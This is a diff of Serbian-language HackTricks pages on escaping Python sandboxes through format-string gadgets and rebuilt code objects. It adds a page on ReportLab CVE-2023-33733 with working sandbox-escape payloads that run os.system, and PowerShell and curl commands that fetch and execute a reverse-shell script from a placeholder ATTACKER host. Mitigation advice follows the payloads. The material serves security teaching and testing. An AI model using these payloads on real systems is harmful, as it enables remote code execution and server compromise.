CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Rekurzivno pretraživanje Builtins, Globals...
|
||||
## Rekurzivna pretraga Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Ovo je jednostavno **neverovatno**. Ako **tražite objekat kao što su globals, builtins, open ili bilo šta** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
|
||||
> Ovo je prosto **sjajno**. Ako tražite **objekat kao globals, builtins, open ili bilo šta drugo** jednostavno koristite ovaj script da **rekurzivno pronađete mesta gde možete naći taj objekat.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -656,13 +664,14 @@ main()
|
||||
```
|
||||
Možete proveriti izlaz ovog skripta na ovoj stranici:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Format String
|
||||
|
||||
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama u pythonu.** Možete koristiti prethodne primere da pristupite globalnim ili ugrađenim funkcijama, na primer.
|
||||
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Napomena kako možete **pristupiti atributima** na normalan način sa **tačkom** kao `people_obj.__init__` i **elementu rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
|
||||
Obratite pažnju kako možete **pristupiti atributima** na uobičajen način pomoću **tačke**, na primer `people_obj.__init__`, i **elementu dict-a** pomoću **uglaste zagrade** bez navodnika `__globals__[CONFIG]`
|
||||
|
||||
Takođe, imajte na umu da možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Takođe obratite pažnju da možete koristiti `.__dict__` da nabrojite elemente objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno:
|
||||
Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Pored toga, moguće je **kodirati nove formatere** u klasama:
|
||||
Štaviše, moguće je **code new formatters** u klasama:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -702,17 +711,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Više primera** o **format** **string** primerima možete pronaći na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Takođe proverite sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**:
|
||||
> Proverite takođe sledeću stranicu za gadgets koji će r**ead sensitive information from Python internal objects**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Osetljive informacije o otkrivanju payload-a
|
||||
### Payloads za otkrivanje osetljivih informacija
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -734,16 +743,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
|
||||
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Prema [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/), moguće je učitati proizvoljne biblioteke sa diska zloupotrebom ranjivosti format string u pythonu.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
Kao podsetnik, svaki put kada se izvrši neka akcija u pythonu, neka funkcija se izvršava. Na primer, `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
|
||||
Kao podsetnik, svaki put kad se izvrši neka akcija u pythonu, neka funkcija se poziva. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Imate više ovakvih u sekciji [**Python execution without calls**](#python-execution-without-calls).
|
||||
Više primera imaš u sekciji [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Ranjivost format string u pythonu ne omogućava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima metodu **`__getitem__`** ili **`__getattr__`** koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE.
|
||||
A python format string vuln ne dozvoljava izvršavanje funkcija (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Međutim, moguće je koristiti `[]`. Dakle, ako neka česta python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti za dobijanje RCE.
|
||||
|
||||
Tražeći takav gadget u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Tražeći gadget takve vrste u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je našao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -765,20 +774,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server.
|
||||
Ovaj gadget omogućava da se **učita biblioteka sa diska**. Stoga je potrebno nekako **zapisati ili otpremiti biblioteku koja će se učitati**, ispravno kompajliranu za napadnuti server.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Izazov zapravo koristi drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera.
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
|
||||
## Istraživanje Python objekata
|
||||
## Analiza Python objekata
|
||||
|
||||
> [!TIP]
|
||||
> Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
U nekim CTF-ovima možete dobiti ime **prilagođene funkcije u kojoj se nalazi flag** i potrebno je da pogledate **unutrašnjost** **funkcije** da biste ga izvukli.
|
||||
U nekim CTFs može vam biti dat naziv **custom function where the flag** i potrebno je videti **internals** te **function** da biste ga izvukli.
|
||||
|
||||
Ovo je funkcija koju treba ispitati:
|
||||
Ovo je function koju treba analizirati:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -798,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` i `func_globals` (isto) Dobija globalno okruženje. U primeru možete videti neke uvezene module, neke globalne promenljive i njihov sadržaj koji su deklarisani:
|
||||
`__globals__` i `func_globals` (isti) dobijaju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov sadržaj:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -807,11 +816,11 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Pogledajte ovde više mesta za dobijanje globals**](#globals-and-locals)
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Pristupanje kodu funkcije**
|
||||
### **Pristup kodu funkcije**
|
||||
|
||||
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete objekat koda** funkcije.
|
||||
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili objekat koda** funkcije.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -871,7 +880,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Rastavljanje funkcije**
|
||||
### **Disasembliranje funkcije**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -899,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Obratite pažnju da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset promenljive koja se učitava.
|
||||
Imajte na umu da **ako ne možete da importujete `dis` u python sandboxu** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i **disassemble** je lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`) ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe govori offset varijable koja se učitava.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -921,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Kompajliranje Pythona
|
||||
## Compiling Python
|
||||
|
||||
Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam je **potrebno** da je **izvršite**.\
|
||||
Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_)
|
||||
Sada, zamislimo da nekako možete **dump the information about a function that you cannot execute** ali je **morate** **execute**.\
|
||||
Kao u sledećem primeru, **možete pristupiti code object** te funkcije, ali samo čitajući disassemble **ne znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Kreiranje objekta koda
|
||||
### Kreiranje code objekta
|
||||
|
||||
Prvo, moramo znati **kako da kreiramo i izvršimo objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije koja je procurila:
|
||||
Prvo, moramo znati **kako kreirati i izvršiti code object** kako bismo mogli kreirati jedan koji će izvršiti našu leaked funkciju:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> U zavisnosti od verzije Pythona, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji Pythona koju koristite je da pokrenete:
|
||||
> U zavisnosti od verzije python-a, **parametri** `code_type` mogu imati **drugi redosled**. Najbolji način da saznaš redosled parametara u verziji python-a koju pokrećeš je da pokreneš:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Rekreiranje provaljene funkcije
|
||||
### Ponovno kreiranje leaked funkcije
|
||||
|
||||
> [!WARNING]
|
||||
> U sledećem primeru, uzet ćemo sve podatke potrebne za rekreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da prokrijumčarite**.
|
||||
> U sledećem primeru uzećemo sve podatke potrebne da ponovo kreiramo funkciju direktno iz njenog function code object-a. U **pravom primeru**, sve **vrednosti** potrebne za izvršavanje funkcije **`code_type`** su ono što ćete morati da leak-ujete.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -983,10 +992,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji python kod koristeći `compile` funkciju**. Ovo je zanimljivo jer možete **izvršiti cele skripte** sa petljama i svime u **jednoj liniji** (i mogli bismo učiniti isto koristeći **`exec`**).\
|
||||
U svakom slučaju, ponekad bi moglo biti korisno **napraviti** **kompilovani objekat** na lokalnoj mašini i izvršiti ga na **CTF mašini** (na primer, zato što nemamo `compiled` funkciju u CTF-u).
|
||||
U prethodnim primerima na početku ovog posta možete videti **how to execute any python code using the `compile` function**. To je interesantno zato što možete **izvršavati cele skripte** sa petljama i svime u **jednoj liniji** (i isto bismo mogli uraditi koristeći **`exec`**).\
|
||||
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajlirani objekat** na lokalnoj mašini i izvršiti ga na **CTF machine** (na primer zato što nemamo `compiled` funkciju na CTF-u).
|
||||
|
||||
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
|
||||
Na primer, hajde da kompajliramo i ručno izvršimo funkciju koja čita _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Ako ne možete pristupiti `eval` ili `exec`, možete kreirati **pravu funkciju**, ali direktno pozivanje obično će propasti sa: _konstruktor nije dostupan u ograničenom režimu_. Dakle, potrebna vam je **funkcija koja nije u ograničenom okruženju da pozovete ovu funkciju.**
|
||||
Ako ne možete da pristupite `eval` ili `exec`, možete kreirati **pravu funkciju**, ali njen direktan poziv obično neće uspeti sa: _constructor not accessible in restricted mode_. Zato vam treba **funkcija van ograničenog okruženja koja će pozvati ovu funkciju.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1023,7 +1032,7 @@ f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **dekompilirati** dati kompajlirani python kod.
|
||||
Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **decompile** dati kompajlirani Python kod.
|
||||
|
||||
**Pogledajte ovaj tutorijal**:
|
||||
|
||||
@ -1032,12 +1041,12 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## Razno Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python koji se izvršava sa optimizacijama sa parametrom `-O` će ukloniti assert izjave i bilo koji kod uslovljen vrednošću **debug**.\
|
||||
Stoga, provere kao što su
|
||||
Python izvršen sa optimizacijama pomoću parametra `-O` će ukloniti asset statements i bilo koji kod uslovljen vrednošću **debug**.\
|
||||
Stoga, provere kao
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
@ -1056,5 +1065,8 @@ biće zaobiđeno
|
||||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,79 @@
|
||||
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab’s rl_safe_eval koji koriste xhtml2pdf i drugi PDF-generacioni pipeline-ovi pri renderovanju korisnički kontrolisanog HTML-a u PDF.
|
||||
|
||||
CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti umotane u triple brackets [[[ ... ]]] se evaluiraju server-side pomoću rl_safe_eval. Kreiranjem payload-a koji pivotira od whitelisted builtin-a (pow) ka njegovim Python function globals, napadač može doći do modula os i izvršavati komande.
|
||||
|
||||
Ključne tačke
|
||||
- Trigger: injektovati [[[ ... ]]] u evaluirane atribute kao što je <font color="..."> unutar markupa koji parsira ReportLab/xhtml2pdf.
|
||||
- Sandbox: rl_safe_eval zamenjuje opasne builtin-e, ali evaluirane funkcije i dalje izlažu __globals__.
|
||||
- Bypass: napraviti transient klasu Word da se zaobiđu rl_safe_eval provere imena i pristupi stringu "__globals__" dok se izbegava blokiranje dunder-a.
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stabilnost: Vratiti validnu vrednost za atribut posle izvršenja (za color, koristiti 'red').
|
||||
|
||||
Kada testirati
|
||||
- Aplikacije koje izlažu HTML-to-PDF eksport (profili, invoices, reports) i u PDF metadata ili HTTP response komentarima pokazuju xhtml2pdf/ReportLab.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- HTTP odgovor za PDF često počinje ReportLab generator komentarom
|
||||
|
||||
Kako zaobilaženje sandboksa funkcioniše
|
||||
- rl_safe_eval uklanja ili zamenjuje mnoge builtin-e (getattr, type, pow, ...) i primenjuje filtriranje imena da bi zabranio atribute koji počinju sa __ ili koji su na denylisti.
|
||||
- Međutim, sigurne funkcije žive u globals dictionary dostupnom kao func.__globals__.
|
||||
- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa mutiranim ponašanjem poredjenja tako da:
|
||||
- .startswith('__') → uvek False (zaobilaženje provere name startswith('__'))
|
||||
- .__eq__ vraća False samo pri prvom poređenju (zaobilaženje denylist membership provera) i True nakon toga (tako da Python getattr radi)
|
||||
- .__hash__ je jednak hash(str(self))
|
||||
- Na ovaj način getattr(pow, Word('__globals__')) vraća globals dict obavijenog pow funkcijom, koji uključuje importovan os modul. Zatim: ['os'].system('<cmd>').
|
||||
|
||||
Minimalni obrazac eksploatacije (primer atributa)
|
||||
Postavite payload unutar evaluiranog atributa i obezbedite da vrati validnu vrednost atributa putem boolean i 'red'.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- Oblik list-comprehension omogućava jedini izraz prihvatljiv za rl_safe_eval.
|
||||
- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne pukne.
|
||||
- Zamenite komandu po potrebi; koristite ping za validaciju izvršenja uz tcpdump.
|
||||
|
||||
Operativni tok rada
|
||||
1) Identifikujte PDF generator
|
||||
- PDF Producer prikazuje xhtml2pdf; HTTP response sadrži ReportLab komentar.
|
||||
2) Pronađite input reflektovan u PDF (npr. profile bio/description) i pokrenite eksport.
|
||||
3) Verifikujte izvršenje sa niskim nivoom buke ICMP-om
|
||||
- Pokrenite: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows često po defaultu šalje tačno četiri echo zahteva.
|
||||
4) Uspostavite shell
|
||||
- Za Windows, pouzdani dvostepeni pristup izbegava probleme sa citiranjem/enkodiranjem:
|
||||
- Stage 1 (download):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (execute):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Za Linux ciljeve, slična dvofazna procedura sa curl/wget je moguća:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Napomene i saveti
|
||||
- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u takođe mogu evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
|
||||
- Citiranje: Držite komande kompaktne. Dvofazna preuzimanja značajno smanjuju probleme sa citiranjem i escape-ovanjem.
|
||||
- Pouzdanost: Ako su eksporti keširani ili u redu, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.
|
||||
|
||||
Ublažavanje i detekcija
|
||||
- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosna obaveštenja i u paketima distribucija.
|
||||
- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez stroge sanitizacije. Uklonite/zabranite [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepoverljiv.
|
||||
- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval u potpunosti za nepoverljive inpute.
|
||||
- Monitorišite sumnjive outbound konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa aplikacionih servera pri eksportovanju dokumenata).
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||||
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -2,49 +2,58 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Manipulacija kešom za RCE
|
||||
Podrazumevani metod skladištenja keša u Djangou je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [nepouzdani ulaz de-pikluje](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru**.
|
||||
## Cache Manipulation to RCE
|
||||
Podrazumevani način čuvanja cache-a u Django-u je [Python pickles](https://docs.python.org/3/library/pickle.html), što može dovesti do RCE ako se [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ako napadač može dobiti pristup za upis u cache, može eskalirati ovu ranjivost u RCE na osnovnom serveru**.
|
||||
|
||||
